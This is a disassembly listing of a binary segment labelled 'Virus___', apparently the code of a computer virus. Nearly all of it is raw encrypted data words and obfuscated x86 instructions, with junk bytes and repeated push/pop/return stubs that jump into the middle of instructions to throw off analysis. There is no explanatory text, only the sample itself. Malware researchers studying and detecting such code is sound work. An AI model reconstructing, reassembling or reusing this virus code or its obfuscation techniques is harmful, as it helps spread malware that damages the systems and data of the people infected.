		dd 244C8959h, 24448104h, 1504h,	0C3514100h, 8E94E33h, 0E6000000h
		dd 0B6D62682h, 6691082Ah, 11E9D98Ch, 1A000000h,	0A74375CCh
		dd 85916D0Fh, 0FE7F950Ch, 53C9BC9Dh, 0F04C1F6h,	0FC84h
		dd 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1904h
		dd 0C3564600h, 4AC1364Ch, 9D89390Dh, 95D2941h, 2A9D95FFh
		dd 6A095Dh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h
		dd 53430000h, 0BEDA80C3h, 0F9B589DBh, 0F8095D1Ch, 53006A5Bh
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1A04h, 0C3534300h
		dd 98C45ADFh, 0E9D4CE73h, 14h, 34538A76h, 6630C2DBh, 0F96735B3h
		dd 24B3A777h, 84D0225Dh, 6AC32Bh, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 180424h, 53430000h, 0A56C88C3h, 8ABFFFB6h
		dd 3D4B9F20h, 834h, 3B860Fh, 8D890000h,	95D0301h, 5CE9h
		dd 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1B04h
		dd 0C3514100h, 0C2B28F4Fh, 0C9EAD3E1h, 0E9816660h, 8E0F54E1h
		dd 0
		dd 0FC08B61h, 2482h, 6E800h, 8BFD0000h,	18A43F4Ah, 13E9h
		dd 46EC4900h, 0AC939B3Bh, 0AB1250E9h, 3E0B60C2h, 46D1B54Bh
		dd 8BC38B5Fh, 50006AD8h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1804h, 0C3504000h, 0F573D509h, 0DD858951h, 0C7095D14h
		dd 5D14A585h, 26451F09h, 52006A12h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1804h, 0C3524200h, 70582CB5h, 0E8C08BE7h
		dd 10h,	161D8B3Eh, 94D460E5h, 6EB782B1h, 0B742AE4Dh, 8D0Fh
		dd 815E0000h, 5D03E5BDh, 7D009h, 3A850F00h, 6A000000h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1D042444h
		dd 43000000h, 0F18DC353h, 6B867782h, 26214889h,	0FFF6B70Fh
		dd 5D03E585h, 0F1BD3109h, 0F095D2Eh, 87h, 0E5B5FF00h, 0FF095D03h
		dd 5D11B195h, 55006A09h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1C04h, 0C3554500h, 0B5D8FE40h, 0BBBFC940h, 0FFBF0FD3h
		dd 10E990h, 27CF0000h, 0EC42F5EAh, 74D173F1h, 66F78B08h
		dd 0B52B5A58h, 95D2B69h, 20F9B58Bh, 6A095Dh, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1D0424h, 52420000h, 8A60FBC3h
		dd 1CE9D09Dh, 0BFBC3496h, 50BB0832h, 710120BEh,	0F0BF0F0Dh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 19h, 53C35040h
		dd 0FC76B90Fh, 91BD8BC3h, 60095D1Ah, 0B509CF8Ah, 95D11E9h
		dd 51006A61h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1D04h
		dd 0C3514100h, 5C2CB905h, 0F74F4913h, 0F681307Ah, 5A940EE3h
		dd 0B880Fh, 5DBF0000h, 891171D1h, 5D2FA99Dh, 17810F09h
		dd 0E9000000h, 12h, 4B5A745Bh, 6A048FB1h, 0A3159B65h, 6B673768h
		dd 0BE668098h, 8D01FD6Ch, 95D0C5Dh, 250D9529h, 6E9095Dh
		dd 0DE000000h, 2AFF0AF3h, 0F2B70FF7h, 14870Fh, 0AE90000h
		dd 0DE000000h, 0BBA5CB8Fh, 0B3539721h, 0F7816670h, 69E9C016h
		dd 6AFFFFF6h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 16042444h, 43000000h, 0AACC353h, 6AC18B12h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h
		dd 5D4BC357h, 4D43BB4Fh, 899879B1h, 5D2B91B5h, 0A1BD8B09h
		dd 0EB095D29h, 4, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1B04h, 0C3574700h, 2BC28CAAh, 90A234CCh
		dd 8BF18B66h, 5D1091B5h, 39858D09h, 8B095D22h, 5D2219BDh
		dd 0E8509009h, 0Ah, 0E83DA94Ah,	91AF7010h, 905EA8D7h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 40C35343h, 8923D22Ah
		dd 28A0Fh, 0F88B0000h, 6A006Ah,	3E855h,	5D200000h, 6C895DC3h
		dd 44810424h, 160424h, 55450000h, 0C0E7AFC3h, 45BBF781h
		dd 8B602951h, 5D2655BDh, 68B0F09h, 33000000h, 5D16CDBDh
		dd 6A6109h, 0C3B2D8BFh,	0B858D4Eh, 660960EAh, 0C083F18Bh
		dd 56006A05h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1B04h
		dd 0C3564600h, 0B3F22E6Ah, 51CFB581h, 0C31BD8Bh, 0E850095Dh
		dd 0Eh,	42C90DDAh, 2C914278h, 0EA0A34F4h, 8B664A1Ah, 4895FF8h
		dd 57006A24h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1504h
		dd 0C3574700h, 8B66CD2Fh, 6A006AFAh, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 15042444h, 45000000h, 0B56EC355h
		dd 28B1B58Bh, 0BD31095Dh, 95D07F9h, 6A006Ah, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 170424h, 57470000h, 0E387BBC3h
		dd 14E83Bh, 6CEC0000h, 87E6AE29h, 927A4964h, 0CC05380Ch
		dd 0F2183FCEh, 0BD89710Dh, 95D275Dh, 5195FF5Fh,	6A095D08h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1B042444h
		dd 40000000h, 0CB9DC350h, 0FA201C93h, 9FBECDE2h, 8D587844h
		dd 60914C9Dh, 0E5B58909h, 0FF095D02h, 55006AD3h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1604h, 0C3554500h
		dd 8BFFB531h, 5D073DBDh, 91958909h, 0FF095D33h,	5D216985h
		dd 51006A09h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1704h
		dd 0C3514100h, 814D932Ah, 22F98D89h, 9DBF095Dh,	0E931E8F1h
		dd 836h, 0E8h, 0ED815D00h, 960EA15h, 5F19BF66h,	3E5BD81h
		dd 7D0095Dh, 860F0000h,	170h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Ah, 0A2C35545h,	3FECB0C6h, 9D8B2596h
		dd 95D0979h, 100E381h, 6A0000h,	3E852h,	5A200000h, 54895AC3h
		dd 44810424h, 190424h, 52420000h, 0A4658DC3h, 0F76390Eh
		dd 882h, 0CE815600h, 2B05D457h,	0FDB0B5Eh, 0AC85h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1904h, 0C3514100h
		dd 0EF32E06Ah, 0BD83CCD8h, 960E7E1h, 28840F00h,	6A000000h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 15042444h
		dd 41000000h, 0CAC2C351h, 2EE1BD8Bh, 66E9095Dh,	0C7000000h
		dd 60E7E185h, 109h, 51006A00h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1D04h, 0C3514100h, 0FC175BAh, 0F1963367h
		dd 32E9D675h, 6A000000h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1A042444h, 42000000h, 8ACFC352h, 675849C2h
		dd 0E185C762h, 960E7h, 8B000000h, 5D2FA9B5h, 799D8D09h
		dd 6A095D09h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 15042444h, 46000000h, 5BDFC356h, 65D9D09h, 840F095Dh
		dd 0Bh,	5860Fh,	28BF0000h, 81194462h, 0FFFEFF23h, 8E8FFh
		dd 9C410000h, 0B32535B9h, 5FF9E5A2h, 81DB8C66h,	98365AD7h
		dd 4C3F627h, 87840Fh, 0F18B0000h, 14E9h, 5B254D00h, 641AC4CCh
		dd 791659B2h, 0B8117847h, 9B42EA02h, 9D95FFB8h,	0F095D2Ah
		dd 1886h, 13E900h, 74B10000h, 674B728h,	0CD17E2D4h, 7C3AC00Eh
		dd 275044F4h, 605090C5h, 8B665250h, 66310FD0h, 585AC18Bh
		dd 906112B1h, 0E850006Ah, 3, 58C35820h,	4244489h, 4244481h
		dd 19h,	53C35040h, 0F07BFDC1h, 0FE912h,	0EA8D0000h, 0A05597A3h
		dd 3E91644Fh, 57E4A371h, 3B9E9F7h, 6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 150424h, 56460000h, 893D0AC3h
		dd 5D222DB5h, 0E800B009h, 13h, 0C959CFCDh, 0A86AE916h
		dd 9317482Fh, 7119BEA8h, 898C9684h, 5D29119Dh, 0B5315E09h
		dd 95D1111h, 0BF6670E6h, 71E4D6E8h, 68D0Fh, 0B58B0000h
		dd 95D2675h, 6AD8B60Fh,	3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 18042444h, 45000000h, 4B5CC355h, 0BADB92C3h
		dd 6, 1241CE81h, 0C38B161Ah, 0E8C1FA8Bh, 52006A04h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1404h, 0C3524200h
		dd 0A1B58BAAh, 0E8095D09h, 0Bh,	0B882B891h, 908A751Dh
		dd 89194A15h, 5D20219Dh, 0F7665E09h, 55006AE2h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1A04h,	0C3554500h, 0B9040A6h
		dd 0F8CE248Eh, 0FE9D82Bh, 0FB000000h, 6EF82C55h, 6133A8h
		dd 3A13B7DDh, 5793424Dh, 5250505Fh, 0BF66310Fh,	585AB15Dh
		dd 51006A93h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1D04h, 0C3514100h
		dd 7DEBD25h, 7AF155FEh,	0B5FF9B6Ah, 95D03E5h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 31C35343h, 8B66BDE3h
		dd 0B195FFFEh, 8B095D11h, 0F800B0FAh, 0B58B70E6h, 95D2A75h
		dd 0BD2371E4h, 95D1431h, 830F613Ch, 233h, 1EB1BD8Bh, 8166095Dh
		dd 0FAE22EFh, 6AD8B6h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 160424h, 56460000h, 3E8A83C3h, 6BAh,	6AC38B00h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h
		dd 0F33CC357h, 66D38E80h, 0E86BACBEh, 12h, 0CB137666h
		dd 9923A279h, 0B95EF55Eh, 2FB300D7h, 0BF0F62EDh, 0E8C15EF0h
		dd 52006A04h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1804h
		dd 0C3524200h, 8979F088h, 9DB58B9Eh, 89095D2Bh,	5D0665BDh
		dd 0E2F76609h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 1Dh,	0E9C35242h, 45F1068Bh, 0AF2D24C3h, 0FEB70F74h
		dd 6AD82Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h
		dd 52420000h, 681616C3h, 5E6D8AD0h, 0BD89C561h,	95D2085h
		dd 3149B58Bh, 0F58095Dh, 0D82BF0BFh, 129880Fh, 95890000h
		dd 95D0955h, 7B9h, 53006A00h, 3E8h, 0C35B2000h,	245C895Bh
		dd 24448104h, 1904h, 0C3534300h, 0C7502408h, 0FE8C107h
		dd 0FE000000h, 0B998DA62h, 739D3F39h, 6F7F8CBDh, 835FD41Eh
		dd 6A00C1h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h
		dd 55450000h, 0F6B5DEC3h, 892A6376h, 5D1EC58Dh,	0FD93B09h
		dd 0B686h, 0ED950900h, 66095D24h, 0B58BD98Ch, 95D3049h
		dd 0F04C1F6h, 9084h, 91B58B00h,	0FF095D2Ah, 5D2A9D95h
		dd 50006A09h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1604h
		dd 0C3504000h, 29120F46h, 5D0FA1BDh, 0F78B6609h, 56006A5Bh
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1604h, 0C3564600h
		dd 0BFDA41B9h, 78B6B036h, 6AC32Bh, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 160424h, 55450000h, 0C8505FC3h, 6BDBD8Bh
		dd 343D095Dh, 0F000008h, 886h, 11E900h,	0BF0F0000h, 0E9C08BFEh
		dd 7, 0B7E72C2Ah, 8BB8A8BDh, 0FCD88BC3h, 95D85C7h, 0FBDD095Dh
		dd 0B70F3C87h, 0E8C08BF0h, 0Ah,	0CD9FE6F6h, 28705306h
		dd 0B58B9303h, 95D1F75h, 0CE81665Eh, 0BD81E5C9h, 95D03E5h
		dd 7D0h, 71850Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 180424h, 52420000h, 0D0EB61C3h, 0CE8D357h
		dd 2E000000h, 0C5282205h, 0BDAD0836h, 5E358B96h, 12958589h
		dd 85FF095Dh, 95D03E5h,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Ah, 0E5C35747h, 0AFA4E4D2h, 0CE9B145h, 0C7000000h
		dd 73231C84h, 2059446Bh, 0FF32E291h, 5D03E5B5h,	25958909h
		dd 0FF095D32h, 5D11B195h, 53006A09h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1B04h,	0C3534300h, 0FAA2864Ch
		dd 0FCA3C9ECh, 55006A90h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1904h, 0C3554500h, 10BEE167h, 0BD8B9576h
		dd 95D08FDh, 28C0Fh, 0F18B0000h, 79850960h, 81095D31h
		dd 1CFF17C1h, 880F603Ch, 0
; ---------------------------------------------------------------------------
		js	$+6
		popa
		popa
		movzx	esi, ax
		push	0
		push	edi
		call	sub_5A9C66
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5A9C66	proc near		; CODE XREF: Virus___:005A9C5Ep

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Bh
		inc	edi
		push	edi
		retn
sub_5A9C66	endp

; ---------------------------------------------------------------------------
		dw 0BD25h
		dd 55FE07DEh, 0FE87AF1h, 0DA000000h, 9EA75C00h,	8BEE0FD2h
		dd 0ED9A46EDh, 8B667D1Fh, 0BF665FF9h, 880F2D89h, 0Bh, 7DDE8166h
		dd 719D01D8h, 66095D02h, 6AF88Bh, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 190424h, 51410000h, 2EBF16C3h, 8B012BEDh
		dd 5D309DBDh, 0F28B6609h, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 17h, 31C35646h, 89DFFBF4h,	5D213DB5h, 0A4BE6609h
		dd 56006AE1h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1A04h
		dd 0C3564600h, 684618Fh, 3E8DE64h, 5D2601BDh, 6E909h, 8EAE0000h
		dd 14592091h, 0FE8h, 0A1AF8000h, 406B4F8Dh, 77446EFh, 6504A0A4h
		dd 15810Fh, 0EE90000h, 7000000h, 0DFB3B0D3h, 34986F29h
		dd 807FD7CEh, 5FF78B9Ah, 0FFF7D7E9h, 7E8FFh, 0ACFA0000h
		dd 22F2B766h, 0C18B5E1Fh, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 15h, 0B7C35040h, 104EB69h,	8B000000h, 5D227DBDh
		dd 39858D09h, 6A095D22h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 14042444h, 46000000h, 50ACC356h, 52505360h
		dd 585A310Fh, 0FA8B6658h, 24048961h, 0BE66006Ah, 6AB9DAh
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 18h, 0F9C35242h
		dd 0F6D8293Eh, 0C41B58Bh, 858D095Dh, 960F415h, 1745BD8Bh
		dd 0C083095Dh, 57006A05h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1D04h, 0C3574700h, 805EEA56h, 0E5F46B03h
		dd 0B58BE456h, 95D1ED5h, 850F90h, 50000000h, 0C68B6660h
		dd 6B01BA60h, 61611BFCh, 55006A90h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1A04h, 0C3554500h, 9E8F6B4Ch, 6A56CB8Ah
		dd 0F006A00h, 0E87h, 9E900h, 59360000h,	95A8252h, 0F1F29EFh
		dd 0A83h, 4840F00h, 66000000h, 0FF06FCBFh, 5D085195h, 0F526009h
		dd 8Ah,	8D615A00h, 60914C9Dh, 53006A09h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1704h,	0C3534300h, 1EE205EEh
		dd 0F95B58Bh, 0B52B095Dh, 95D17D1h, 52B2B660h, 418589h
		dd 6159095Dh, 6AD3FFh, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 180424h, 55450000h, 0C0A7BEC3h, 0BD8BCD1Dh, 95D29ADh
		dd 216985FFh, 6A095Dh, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1B0424h, 52420000h, 0A9B8BEC3h, 800B92D3h, 998529B6h
		dd 9095D19h, 5D329D95h,	7A0E909h, 0E80000h, 5D000000h
		dd 0F41FED81h, 81F90960h, 5D03E5BDh, 7D009h, 4D860F00h
		dd 6A000001h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1C042444h, 47000000h, 4394C357h, 0D1239AB4h,	8BD17684h
		dd 5D24859Dh, 55006A09h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1B04h, 0C3554500h, 5FDA4392h, 6E2F1E38h, 735945BFh
		dd 0E38122h, 0F5000001h, 90D8531h, 0DB0B095Dh, 7F850Fh
		dd 53510000h, 0BD835E5Fh, 960F267h, 39840F00h, 29000000h
		dd 5D0049B5h, 95E909h, 6A0000h,	3E855h,	5D200000h, 6C895DC3h
		dd 44810424h, 1C0424h, 55450000h, 0D0B3B3C3h, 669B002Fh
		dd 5E93E64h, 0FE000000h, 0C940B5D8h, 0F26785C7h, 10960h
		dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h
		dd 51410000h, 895381C3h, 5D1A1DBDh, 34E95F09h, 8B000000h
		dd 6785C7F0h, 960F2h, 6A000000h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 15042444h, 40000000h, 5865C350h, 6E9h, 7C821400h
		dd 8D6D567Ch, 5D24859Dh, 55006A09h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1504h, 0C3554500h, 0BD8BECD8h, 95D16CDh
		dd 0FEFF2381h, 810FFFFFh, 0
; ---------------------------------------------------------------------------
		mov	bx, ds
		jmp	loc_5AA0C3
; ---------------------------------------------------------------------------
		dd 6A323DFBh
; ---------------------------------------------------------------------------
		add	edx, [ebp+64h]


loc_5AA0C3:				; CODE XREF: Virus___:005AA0B7j
		mov	esi, [ebp+95D22C1h]
		test	bl, 4
		jz	loc_5AA130
		mov	edi, [ebp+95D31E9h]
		call	dword ptr [ebp+95D2A9Dh]
		push	0
		push	edx
		call	sub_5AA0E9
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5AA0E9	proc near		; CODE XREF: Virus___:005AA0E1p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Ch
		inc	edx
		push	edx
		retn
sub_5AA0E9	endp

; ---------------------------------------------------------------------------
		db 0EDh, 93h, 0BEh
; ---------------------------------------------------------------------------
		push	edx
		mov	eax, ds:1BD4A5DAh
		add	edi, 1FA2DD44h
		push	eax
		mov	edi, 190205F1h
		mov	[esp], eax
		push	0
		push	eax
		call	sub_5AA11C
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5AA11C	proc near		; CODE XREF: Virus___:005AA114p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 15h
		inc	eax
		push	eax
		retn
sub_5AA11C	endp

; ---------------------------------------------------------------------------
		sbb	[eax], bl
		mov	esi, edi


loc_5AA130:				; CODE XREF: Virus___:005AA0CCj
		jmp	loc_5AA50B
; ---------------------------------------------------------------------------
		mov	edi, ebx
		mov	al, 0
		push	0
		push	eax
		call	sub_5AA144
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5AA144	proc near		; CODE XREF: Virus___:005AA13Cp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Dh
		inc	eax
		push	eax
		retn
sub_5AA144	endp

; ---------------------------------------------------------------------------
		dd 10D8237h, 0B504F03Dh, 8B666BD4h, 0F99D89F0h,	0E6095D1Eh
		dd 55006A70h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1904h
		dd 0C3554500h, 53EE074Eh, 8B66D898h, 5171E4F2h,	10799D29h
		dd 0F5F095Dh, 8166D8B6h, 0BA7120F6h, 6,	6AC38Bh, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h
		dd 3603DDC3h, 0EC34C62Eh, 6A04E8C1h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 18042444h, 46000000h, 7171C356h
		dd 665F3C6Ch, 6AE2F7h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 170424h, 50400000h, 693310C3h, 67D3BF93h, 0D82B68B5h
		dd 8B6693FCh, 0F6050F2h, 1182h,	0BE800h, 78690000h, 562233D3h
		dd 0FB7E137Bh, 0EE85F69h, 0C0000000h, 0CBC26C0Fh, 0F092B60Eh
		dd 5BEFC63h, 0B6C7B932h, 61581196h, 61850993h, 0FF095D33h
		dd 5D03E5B5h, 55006A09h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1904h, 0C3554500h, 2B6BD8A4h, 8D019C17h, 95D0ABDh, 11B195FFh
		dd 0E956095Dh, 0Ch, 20B440Dh, 0FBFCCECBh, 495DF507h, 6600B05Eh
		dd 0E6059DBFh, 0EE970h,	0E83D0000h, 91AF7010h, 7DF2A8D7h
		dd 8B1EBCDCh, 0BD8B71E4h, 95D2451h, 830F613Ch, 247h, 68C0Fh
		dd 0B5230000h, 95D202Dh, 0FD8B60Fh, 0C8Ah, 6890F00h, 31000000h
		dd 5D112595h, 6BA09h, 85310000h, 95D1B2Dh, 6AC38Bh, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h
		dd 9F8395C3h, 8B42FA80h, 3345BD89h, 951095Dh, 5D2B859Dh
		dd 0E8C15F09h, 50006A04h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1404h, 0C3504000h, 0E2F76624h, 2D4A84BFh
		dd 6AD82B30h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1B042444h, 46000000h, 4930C356h, 0FB2F517Eh,	95890B88h
		dd 95D2915h, 0DE858h, 96C50000h, 5CCF0A63h, 5D6A7A4h, 66CC01DAh
		dd 2B5EF98Bh, 78880FD8h, 6A000001h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1D042444h, 40000000h, 5898C350h
		dd 0CA6533CCh, 4C7EAA07h, 6880Fh, 0B58B0000h, 95D2BE1h
		dd 7B9h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1704h, 0C3504000h, 0F055E7EAh, 24199D31h, 0C183095Dh
		dd 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1A04h
		dd 0C3504000h, 0FB333A91h, 0E97C64CCh, 6, 7483FFEh, 0D93BF638h
		dd 0E5860Fh, 0B58B0000h, 95D0601h, 6AD98C66h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h
		dd 0BC27C350h, 29FB3EBBh, 87BD2413h, 6CE6BF66h,	0F04C1F6h
		dd 0A284h, 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h
		dd 1604h, 0C3524200h, 89CBAA62h, 5D06AD95h, 9950909h, 0FF095D29h
		dd 5D2A9D95h, 0F18D8909h, 5B095D32h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Bh, 38C35545h, 736E458Ah, 665FD3C4h
		dd 9A40ABFh, 5D1F699Dh,	6AC32B09h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 16042444h, 46000000h, 0DE82C356h
		dd 0FFB70F7Eh, 8343Dh, 10860F00h, 0BE000000h, 303E9FEh
		dd 0EE9h, 0D958900h, 8B095D21h,	75BD8BC0h
; ---------------------------------------------------------------------------
		sbb	bl, [ebp+9]


loc_5AA50B:				; CODE XREF: Virus___:loc_5AA130j
		mov	eax, ebx
		mov	ebx, eax
		jmp	loc_5AA51D
; ---------------------------------------------------------------------------
		dd 0AC97F48Dh, 2ED02C8Dh
		db 78h
; ---------------------------------------------------------------------------


loc_5AA51D:				; CODE XREF: Virus___:005AA50Fj
		mov	dword ptr [ebp+95D0979h], 1CC85559h
		or	[ebp+95D2ED9h],	esi
		mov	eax, eax
		call	sub_5AA53B
		call	far ptr	2777h:796646C1h

; =============== S U B	R O U T	I N E =======================================



sub_5AA53B	proc near		; CODE XREF: Virus___:005AA52Fp

; FUNCTION CHUNK AT 005AA5A4 SIZE 0000002D BYTES

		mov	[ebp+95D33CDh],	eax
		pop	edi
		cmp	dword ptr [ebp+95D03E5h], 7D0h
		jnz	loc_5AA5A4
		push	0
		push	ebx
		call	sub_5AA55D
		and	[ebx-3Dh], bl
sub_5AA53B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5AA55D	proc near		; CODE XREF: sub_5AA53B+1Ap

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Ch
		inc	ebx
		push	ebx
		retn
sub_5AA55D	endp

; ---------------------------------------------------------------------------
		db 73h,	38h, 52h
		dd 0F8F2656Bh, 0BE669444h, 85FF1EF3h, 95D03E5h,	0C3816660h
		dd 0BD89410Ch, 95D0B19h, 118E0F61h, 0E8000000h,	0Bh, 0E97CE55Ah
		dd 228B9500h, 5FFF747Eh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA53B


loc_5AA5A4:				; CODE XREF: sub_5AA53B+11j
		push	dword ptr [ebp+95D03E5h]
		and	esi, 27F801BCh
		call	dword ptr [ebp+95D11B1h]
		call	near ptr loc_5AA5BD+4
		fsub	qword ptr [eax]


loc_5AA5BD:				; CODE XREF: sub_5AA53B+7Bp
		mov	edx, 0FDCCF8Ah
		mov	bh, 0F9h
		pop	esi
		nop
		push	0
		push	esi
		call	sub_5AA5D1
		and	[esi-3Dh], bl
; END OF FUNCTION CHUNK	FOR sub_5AA53B

; =============== S U B	R O U T	I N E =======================================



sub_5AA5D1	proc near		; CODE XREF: sub_5AA53B+8Ep

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Bh
		inc	esi
		push	esi
		retn
sub_5AA5D1	endp

; ---------------------------------------------------------------------------
		db 0AFh, 42h, 6Eh
		dd 65F0C472h, 1DB58BA9h, 52095D24h, 2C58589h, 9D31095Dh
		dd 95D1395h, 0E9F18B5Fh, 0Bh, 0DD3E455Ah, 9FAFDE55h, 8BAC8C1Ch
		dd 5D152DBDh, 68B0F09h,	89000000h, 5D111195h, 7E909h, 84150000h
		dd 9F9034EAh, 9E85637h,	55000000h, 5750146Fh, 0AB9B7353h
		dd 94D8D89h, 6160095Dh,	0B58B5F5Fh, 95D0359h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 16h, 0E2C35040h, 9531A161h
		dd 95D182Dh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 14h,	5EC35747h, 0CF81FE8Bh, 26EDBE88h, 8B98D89h, 0EE81095Dh
		dd 1109D921h, 271B58Bh,	6A095Dh, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 180424h, 56460000h, 655644C3h, 0BF0FDFFFh
		dd 11E9F2h, 85D20000h, 0ADE321CFh, 0F5DD1EF6h, 9B9D971Bh
		dd 0E9BD0C2Dh, 0FFFFF866h, 22899589h, 0C18B095Dh, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 16h, 1EC35040h, 0B58B9C9Dh
		dd 95D2B01h, 104EBh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 160424h, 57470000h, 83679FC3h, 2B319D89h
		dd 858D095Dh, 95D2239h,	0B5016051h, 95D31D1h, 175AB866h
		dd 60905F61h, 0AEBEDE8Bh, 6111EE6Dh, 0F98B6650h, 50006A90h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1504h, 0C3504000h
		dd 0AE968B8h, 41000000h, 0CA2C5F2Eh, 2A7F61D8h,	6A006A77h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1D042444h
		dd 41000000h, 36E8C351h, 9A0FDEB5h, 27739F6Ch, 0E9FE8B66h
		dd 11h,	9AF01375h, 0AD8DDFF7h, 0B35BE270h, 0CC813898h
		dd 6A006A0Ah, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 17042444h, 45000000h, 5D5EC355h, 4DBEAF64h, 8D6AB694h
		dd 60FDE785h, 51006A09h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1D04h, 0C3514100h, 607C6623h, 5D76405h, 81BEBFC1h, 835271F6h
